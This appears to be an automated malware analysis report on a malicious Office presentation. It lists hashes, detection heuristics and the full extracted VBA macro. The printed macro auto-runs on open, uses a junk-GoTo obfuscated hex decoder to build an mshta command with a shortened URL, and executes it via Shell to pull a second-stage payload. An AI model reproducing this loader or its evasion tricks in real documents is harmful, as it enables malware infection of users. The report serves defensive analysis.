Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4c0865111bc69851…

MALICIOUS

Office (OOXML)

10.1 KB First seen: 2021-11-07
MD5: 4d5e391ce380d2b77c5f7f0673321b45 SHA-1: 5d42fc2b7fd06190376618af377c3a2511d66688 SHA-256: 4c0865111bc69851193e496def17e183dee36796d0bb3b9efb34cc2a4e7fc28c
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains an obfuscated VBA macro with an Auto_Open subroutine that uses the Shell() function. This macro decodes a URL and executes it using mshta.exe, indicating it's designed to download and run a second-stage payload. The obfuscation and use of Shell() are common techniques for malware execution.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/qas23.b)
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3493 bytes
SHA-256: e0f31ee66c002c291a1e1eb571a40fef0beefd2f7dad8776bb37422063f7143f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox(Qi09iOppq("4552524F5221"), vbOKCancel); returns; 1
Dim QJNa6ZqgZ As String
Dim JqytK3e6b As String
Dim sqMBAJKlN As String
QJNa6ZqgZ = Qi09iOppq("6D7368746120")
JqytK3e6b = Qi09iOppq("68747470733A2F2F7777772E6269746C792E636F6D2F")
sqMBAJKlN = "dwjdjwodwoddw"
Debug.Print QJNa6ZqgZ
Debug.Print JqytK3e6b
Debug.Print sqMBAJKlN
Debug.Print (VBA.Shell(QJNa6ZqgZ + JqytK3e6b + sqMBAJKlN))
End Sub
Public Function Qi09iOppq(ByVal BIakZwuoV As String)
Dim pT1M0WOWg As Long, xHqC37vvb As String, SxLBZR9Fo As String
    On Local Error Resume Next
    For pT1M0WOWg = 1 To Len(BIakZwuoV) Step 2

GoTo fUBJKINwrcpoFJMDcr
fUBJKINwrcpoFJMDcr:
GoTo bjYDzzxCohoStfuyB:

uMJhCbhdosGcenx:

GoTo kUCEZCGUeNAmNjiLrK
kUCEZCGUeNAmNjiLrK:
CDkrJRHnijhmQelBdcsi = "cBeGpdyoftD"
GoTo UlDYrlbGPPOSE
KdaxSrjgrIQsgpNIlnTtBrQggfkGNUzM:
enxrUlDYrlbGPPOExEjvvKORJixqaHKfHLa = "FSFTqoQy"
GoTo cfiayNGqZbvYdqnVjIksEhAgEVwVhbtdzju
zzxCohoStfuyBtRuJFuOEvJTCC:
BFfFQKdaxSrjgrIQsgp = "IlnTotBrggfkGNUzML"

GoTo cDZmAizlpODAuJhCbhdosGcenxrUlDY

GoTo yAZALFXUqNldZlCRma
yAZALFXUqNldZlCRma:
bjYDzzxCohoStfuyB:
mZZAIVxQwUmynkew = "PzKQMpqLMQubEUA"

GoTo uMJhCbhdosGcenx

GoTo jHCfhOinylRaaYdBIP
jHCfhOinylRaaYdBIP:
cfiayNGqZbvYdqnVjIksEhAgEVwVhbtdzju:
        xHqC37vvb = xHqC37vvb & Chr$(Val("&H" & Mid$(BIakZwuoV, pT1M0WOWg, 2)))
GoTo wHZnvwGeZCDkrJRnijhmQelBdcsilcBe
GpdyoftDmmZZAIVxQUmynkewtPzKQMYqLMQubEUAHbjY:
enxrUlDYrlbGPPOExEjvvKORJixqaHKfHLa = "FSFTqoQy"
GoTo zzxCohoStfuyBtRuJFuOEvJTCC
ORJixqaHKfHLakFSF:
mZZAIVxQwUmynkew = "PzKQMpqLMQubEUA"
GoTo RuaJFuOEvJTCCpDZmAizlpOD
wHZnvwGeZCDkrJRnijhmQelBdcsilcBe:
GoTo GpdyoftDmmZZAIVxQUmynkewtPzKQMYqLMQubEUAHbjY
EjvvKORJixqaHKfLakFSFsTqoQyPBFfF:
BFfFQKdaxSrjgrIQsgp = "IlnTotBrggfkGNUzML"
GoTo KdaxSrjgrIQsgpNIlnTtBrQggfkGNUzM

cDZmAizlpODAuJhCbhdosGcenxrUlDY:

GoTo HUTjnphHVOgiDfkwud
HUTjnphHVOgiDfkwud:
fiayNGqZbvYdqnVIIksEhAgEVwVhbtd = "juAwHZvwGe"
GoTo lbGPPOSExEjvv
UlDYrlbGPPOSE:
fiayNGqZbvYdqnVIIksEhAgEVwVhbtd = "juAwHZvwGe"
GoTo EjvvKORJixqaHKfLakFSFsTqoQyPBFfF
lbGPPOSExEjvv:
CDkrJRHnijhmQelBdcsi = "cBeGpdyoftD"
GoTo ORJixqaHKfHLakFSF
RuaJFuOEvJTCCpDZmAizlpOD:

    Next pT1M0WOWg

GoTo qQQrANoJnMdEepjCkI
qQQrANoJnMdEepjCkI:
GoTo CpcDZmAizlpODAuM:
oStfuyBtRuaFuOEvJTCCpcDZmAiz:
RHnijhmQelBdcsilcBe = "GpdyoftDmZZA"
GoTo pODAuMJhCbhdsGcenxrUlDYrl
nvwGeZCDkrJRHnijhmQe:
GoTo BdcsilcBeJGpyoftDmmZZA
BdcsilcBeJGpyoftDmmZZA:
NIlnTotBrQggfkGN = "zMLcfiayNGZbvY"
GoTo VxQwUmynkewtPzKQMpqLMQubEUAHbjYDzzxCo
xSrjgrIQsgNIlnTotBrQggf:
RHnijhmQelBdcsilcBe = "GpdyoftDmZZA"
GoTo GNUzMLcfiayN
GNUzMLcfiayN:
qnVjIIksEhAgEVw = "hbtdzjuAwHnvwGeZCDkr"
GoTo qZbvYdqnVjIIksEh
ORJixqaHKfHLakFSFTqoQyPBFfFQKd:
VxQwUmynkewtPzKQMYp = "LMQuEU"
GoTo xSrjgrIQsgNIlnTotBrQggf
CpcDZmAizlpODAuM:
HbjYDzzxCohoStfuyB = "RuaJFOEvJT"
GoTo ORJixqaHKfHLakFSFTqoQyPBFfFQKd
GPPOSExEjvSVZQpExhPRmOThrM:
HbjYDzzxCohoStfuyB = "RuaJFOEvJT"

GoTo hCbhdosGcenxrUlDYlbGPPOSExEjvv

GoTo rCIEPgyDFOlgKMsSaP
rCIEPgyDFOlgKMsSaP:
VxQwUmynkewtPzKQMpqLMQubEUAHbjYDzzxCo:
qnVjIIksEhAgEVw = "hbtdzjuAwHnvwGeZCDkr"
GoTo oStfuyBtRuaFuOEvJTCCpcDZmAiz
gEVwVhbtdzjuAwH:
    Qi09iOppq = xHqC37vvb
GoTo nvwGeZCDkrJRHnijhmQe
pODAuMJhCbhdsGcenxrUlDYrl:
VxQwUmynkewtPzKQMYp = "LMQuEU"
GoTo GPPOSExEjvSVZQpExhPRmOThrM
qZbvYdqnVjIIksEh:
NIlnTotBrQggfkGN = "zMLcfiayNGZbvY"
GoTo gEVwVhbtdzjuAwH

hCbhdosGcenxrUlDYlbGPPOSExEjvv:
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/qas23.b 19968 bytes
SHA-256: f0556a6ccc6c54f3a73e6b1642f80fae24ce8c2c076093c03eaa942e9835d6c1

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